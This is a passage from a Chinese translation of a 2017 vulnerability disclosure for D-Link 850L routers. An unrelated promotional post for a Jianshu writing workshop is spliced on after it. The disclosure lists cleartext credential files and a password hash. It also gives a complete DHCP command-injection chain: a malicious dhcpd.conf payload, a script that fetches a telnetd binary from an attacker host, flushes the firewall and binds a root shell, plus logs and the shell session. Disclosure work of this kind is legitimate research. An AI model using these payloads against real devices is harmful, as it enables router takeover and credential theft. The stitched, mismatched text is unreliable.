     21         set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);  22         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);  23         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);

    攻击者可以用vuln来转发流量到自己控制的服务器。

    Weak files permission and credentials stored in cleartext细节

    一些文件权限较弱:

    1. /var/passwd

    /var/passwd 明文保存用户证书,而该文件权限是-rw-rw-rw- (666)

    # ls -la /var/passwd -rw-rw-rw-    1 root     root           28 Jan  1 00:00 /var/passwd # cat /var/passwd "Admin" "password" "0"

    2. /var/etc/hnapasswd

    攻击者也可以利用 /var/etc/hnapasswd 提取明文的密码,/var/etc/hnapasswd 文件权限也是-rw-rw-rw- (666)

    # cat /var/etc/hnapasswd Admin:password
    # ls -la /var/etc/hnapasswd -rw-rw-rw-    1 root     root           20 Jan  1 00:00 /var/etc/hnapasswd

    3. /etc/shadow

    /etc/shadow 的权限是rwxrwxrwx777)

    # ls -al /etc/shadow  lrwxrwxrwx    1 root     root           15 Jan 20  2017 /etc/shadow -> /var/etc/shadow # ls -la /var/etc/shadow -rw-r--r--    1 root     root           93 Jan  1 00:00 /var/etc/shadow

    /var/etc/shadow 内有管理用户的DES哈希值。

    # cat /var/etc/shadow root:!:10956:0:99999:7::: nobody:!:10956:0:99999:7::: Admin:zVc1PPVw2VWMc:10956:0:99999:7:::

    4. /var/run/storage_account_root

    /var/run/storage_account_root 含有明文证书。

    /var/passwd 文件权限是 -rw-rw-rw- (666)

    # ls -la /var/run/storage_account_root -rw-rw-rw-    1 root     root           40 Jan  1 00:00 /var/run/storage_account_root # cat /var/run/storage_account_root admin:password,::: jean-claude:dusse,:::

    5. /var/run/hostapd*

    /var/run/hostapd* 含有 明文的无线密码,文件权限是-rw-rw-rw- (666)

    # ls -la /var/run/hostapd* -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan1wps.eap_user -rw-rw-rw-    1 root     root         1160 Jan  1 00:00 /var/run/hostapd-wlan1.conf -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan0wps.eap_user -rw-rw-rw-    1 root     root         1170 Jan  1 00:00 /var/run/hostapd-wlan0.conf # cat /var/run/hostapd*|grep -i pass wpa_passphrase=aaaaa00000 wpa_passphrase=aaaaa00000

    Pre-Auth RCEs as root (L2)细节

    路由器上的DHCP客户端易受到命令注入攻击。

    dhcpd.conf文件:

    rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;"; option domain-name-servers 8.8.8.8, 8.8.4.4; default-lease-time 600; max-lease-time 7200; ddns-update-style none; subnet 10.254.239.0 netmask 255.255.255.224 {   range 10.254.239.10 10.254.239.20;   option routers 10.254.239.1; } rasp-pwn-dlink# ifconfig eth1 eth1
       Link encap:Ethernet  HWaddr 00:0e:c6:aa:aa:aa             inet addr:10.254.239.1  Bcast:10.254.239.255  Mask:255.255.255.0           inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:129 errors:0 dropped:0 overruns:0 frame:0           TX packets:107 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:11181 (10.9 KiB)  TX bytes:49155 (48.0 KiB)  rasp-pwn-dlink# cat /var/www/html/dhcp-rce  #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10 done ) &  /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  rasp-pwn-dlink# dhcpd eth1 Internet Systems Consortium DHCP Server 4.3.1 Copyright 2004-2014 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Config file: /etc/dhcp/dhcpd.conf Database file: /var/lib/dhcp/dhcpd.leases PID file: /var/run/dhcpd.pid Wrote 1 leases to leases file. Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   Socket/fallback/fallback-net rasp-pwn-dlink#

    开机后发送DHCP请求,路由器会与WAN远程HTTP服务器发起连接:

    rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"

    来自WANtelnetd:

    rasp-pwn-dlink# telnet 10.254.239.10 110 Trying 10.254.239.10... Connected to 10.254.239.10. Escape character is '^]'.   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # uname -ap Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux # cd /var # ls -la drwxr-xr-x    5 root     root            0 Jan  1 00:00 etc drwxr-xr-x    2 root     root            0 Jan  1  1970 log drwxr-xr-x    3 root     root            0 Jan  1 00:00 run drwxr-xr-x    2 root     root            0 Jan  1  1970 sealpac drwxr-xr-x    4 root     root            0 Jan  1 00:00 tmp drwxr-xr-x    2 root     root            0 Jan  1  1970 dnrd drwxr-xr-x    4 root     root            0 Jan  1  1970 htdocs -rw-r--r--    1 root     root           10 Jan  1  1970 TZ drwxr-xr-x    2 root     root            0 Jan  1 00:00 servd -rw-r--r--    1 root     root         5588 Jan  1  1970 default_wifi.xml -rw-rw-rw-    1 root     root           28 Jan  1 00:00 passwd drwxrwx---    2 root     root            0 Jan  1 00:00 session srwxr-xr-x    1 root     root            0 Jan  1 00:00 gpio_ctrl -rw-r--r--    1 root     root            2 Jan  1 00:00 sys_op drwxr-xr-x    2 root     root            0 Jan  1 00:00 home lrwxrwxrwx    1 root     root           16 Jan  1 00:00 portal_share -> /var/tmp/storage drwxr-xr-x    3 root     root            0 Jan  1 00:00 proc -rwxr-xr-x    1 root     root          856 Jan  1 00:00 killrc0 drwxr-xr-x    2 root     root            0 Jan  1 00:00 porttrigger -rw-r--r--    1 root     root          383 Jan  1 00:00 re -rwxrwxrwx    1 root     root        10520 Jan  1 00:00 telnetd-dhcpd-wan -rw-rw-rw-    1 root     root          301 Jan  1 00:00 rendezvous.conf -rw-rw-rw-    1 root     root          523 Jan  1 00:00 stunnel.conf -rw-rw-rw-    1 root     root          282 Jan  1 00:00 topology.conf -rw-rw-rw-    1 root     root          394 Jan  1 00:00 lld2d.conf -rw-r--r--    1 root     root          199 Jan  1 00:00 hosts drwxr-xr-x   16 root     root          241 Jan 20  2017 .. drwxr-xr-x   14 root     root            0 Jan  1 00:00 . # cat re #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F         iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10  done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  #

    还有一些WAN RCEs,首先第一个就是 /etc/services/INET/inet_ipv4.php存在漏洞

    $udhcpc_helper = “/var/servd/”.$inf.”-udhcpc.sh”;

    101行之后存在命令注入漏洞

     99     fwrite(w,$udhcpc_helper,  100                 '#!/bin/sh/n'. 101                 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console/n'. 102                 'phpsh '.$hlper.' ACTION=$1'. 103                         ' INF='.$inf. 104                         ' INET='.$inet. 105                         ' MTU='.$mtu. 106                         ' INTERFACE=$interface'. 107                         ' IP=$ip'. 108                         ' SUBNET=$subnet'. 109                         ' BROADCAST=$broadcast'. 110                         ' LEASE=$lease'. 111                         ' "DOMAIN=$domain"'. 112                         ' "ROUTER=$router"'. 113                         ' "DNS='.$dns.'$dns"'. 114                         ' "CLSSTROUT=$clsstrout"'. 115                         ' "MSCLSSTROUT=$msclsstrout"'. 116                         ' "SSTROUT=$sstrout"'. 117                         ' "SCOPE=$scope"'. 118                         ' "WINSTYPE=$winstype"'. 119                         ' "WINS=$wins"'. 120                         ' "SIXRDPFX=$sixrd_prefix"'. 121                         ' "SIXRDPLEN=$sixrd_prefixlen"'. 122                         ' "SIXRDMSKLEN=$sixrd_msklen"'. 123                         ' "SIXRDBRIP=$sixrd_bripaddr"'. 124                         ' "SDEST=$sdest"'. 125                         ' "SSUBNET=$ssubnet"'. 126                         ' "SROUTER=$srouter"/n'. 127                 'exit 0/n' 128                 );

    ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; 可以注入对 /var/servd/一些生成的文件进行注入。

    # cat /var/servd/DHCPS4.LAN-1_start.sh #!/bin/sh rm -f /var/servd/LAN-1-udhcpd.lease xmldbc -X /runtime/inf:1/dhcps4/leases xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100 xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199 xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1 xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http
    ://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1 event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease" udhcpd /var/servd/LAN-1-udhcpd.conf & exit 0 exit 0 #  # cat /var/servd/DHCPS4.LAN-2_start.sh #!/bin/sh rm -f /var/servd/LAN-2-udhcpd.lease xmldbc -X /runtime/inf:2/dhcps4/leases xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100 xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199 xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1 xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1 event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease" udhcpd /var/servd/LAN-2-udhcpd.conf & exit 0 exit 0 #

    *本文译者:ang010ela,参考资料https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html,转载请注明来自1024rd.COM

  • 【无戒小岛免费分享课】如何在故事中塑造具有真实感的人物形象

    【无戒小岛免费分享课】如何在故事中塑造具有真实感的人物形象

    本期嘉宾:共央君

    95后大学生

    简书签约作者

    故事会专栏作者

    立志讲够100个情感故事

    她的文章相继被清华南都、共青团中央、读点、半月谈等知名大号转发

    更有著名导师涂磊亲自朗诵转载

    网友直呼“美感与骨感”兼具的暖心故事

    已签约出版合集《这世界没有所谓的毫不费力》,即将上市

    文/无戒

    专注做一件事的人会怎样,答案很简单,会成功。

    共央君是无戒写作训练营的第三期学员,之前我看过他的文章,很暖很走心

    那时候我一直以为他是个男子,她在群里很幽默,也很低调,总是默默的写故事。在她身上我看到了专注原来这么简单,她的文章都是讲一些暖心的故事。

    我一直觉得她会签约,她总说不急。我问过她很多次说:“亲爱的你可以申请签约了。”她说我再等等,等我在写几篇再去申请。

    申请签约成功那天,她高兴的跑过来跟我说:“无戒姐姐,我申请成功了。”那一天整个无戒小岛都炸了,大家都很开心,好像看到了希望,看到了努力的意义。

    无戒小岛现在已经近一千多人了,我跟我们的小岛舵主商量开始做小岛免费分享课,邀请我们群里的大神给大家做分享,一起进步。他们呼声很高。

    无戒写作训练营出了六位签约作者,他们每个人都有自己的特色,很棒,很努力。

    我这样说并不是吹嘘我的训练营有多棒,只是想说,任何别人给你的媒介只是跳杆,更多的还是在于自己是否用心。

    每期训练营都有很优秀的学员,也有很多从开始到结束一个字都没有写的学员,

    所以重要还是做与不做。

    日更这个有争议性的话题,我再次说起,无论是是否日更,记得跟着自己的节奏不要放弃。

    签约了六位宝宝,他们都有共性,文章在垂直领域很有代表性,而且会坚持不断的输出内容。

    那么你想签约,你想好定位了吗?你有突出的优势吗?你可以坚持下去吗?

    问问自己能做到多少就有多少机会。

    我们无戒小岛的免费分享课正式开启,每周三邀请无戒岛的大咖为大家分享写作心得,读书心得,出版心得,甚至更多。有人说分享如何泡妹子,撩汉子,我认为也是可以有的。

    21天训练营结束不是终点而是起点,我们的服务不是21天结束就会结束。我们的无戒小岛每周都会组织点评课,每月都会组织征文,为大家提供素材。我们岛里每一个宝宝都是我们的分享者,每个人都会机会被点评或者点评他人。

    我希望课程越做越完美,口碑不是用一两篇讽刺文章就可以否定的,而真正的用心,每个参与进来的宝宝都可以切实感受到。

    所以对于别人的说法,我选择沉默,有人说我讨好学员,我只想说他们交钱进来不是当我给他当爷的而是学习东西。我打赏学员是因为我觉得他们的努力值得鼓舞。

    而我选择不回应,是因为有人告诉我说,狗咬我们一口,我们不应该咬狗一口。

    对,这句话说的很对。

    这期我们小岛邀请的嘉宾是简书签约作者:共央君

    她分享的主题是:如何在故事中塑造真实感的人物形象。

    看过她的文章都应该知道,她每一个故事都很真实,这其中的秘诀是什么,今晚八点不见不散。

    让我们的共央君宝宝为你揭秘。

    分享时间:2017年9月13号晚8点

    参与方式:

    关注简书大学堂微信公众号(jianshuit),后台回复“我要上岛”,获得主持人美女微信,进群领取分享课免费卷,地址在群里。

    或者直接加我们美女主持人澜木卿的微信:xinge1677401116

    无戒小岛第二期有奖征文【秋日时光】

    欢迎参与

    无戒小岛之12号当铺主题征文点这里参与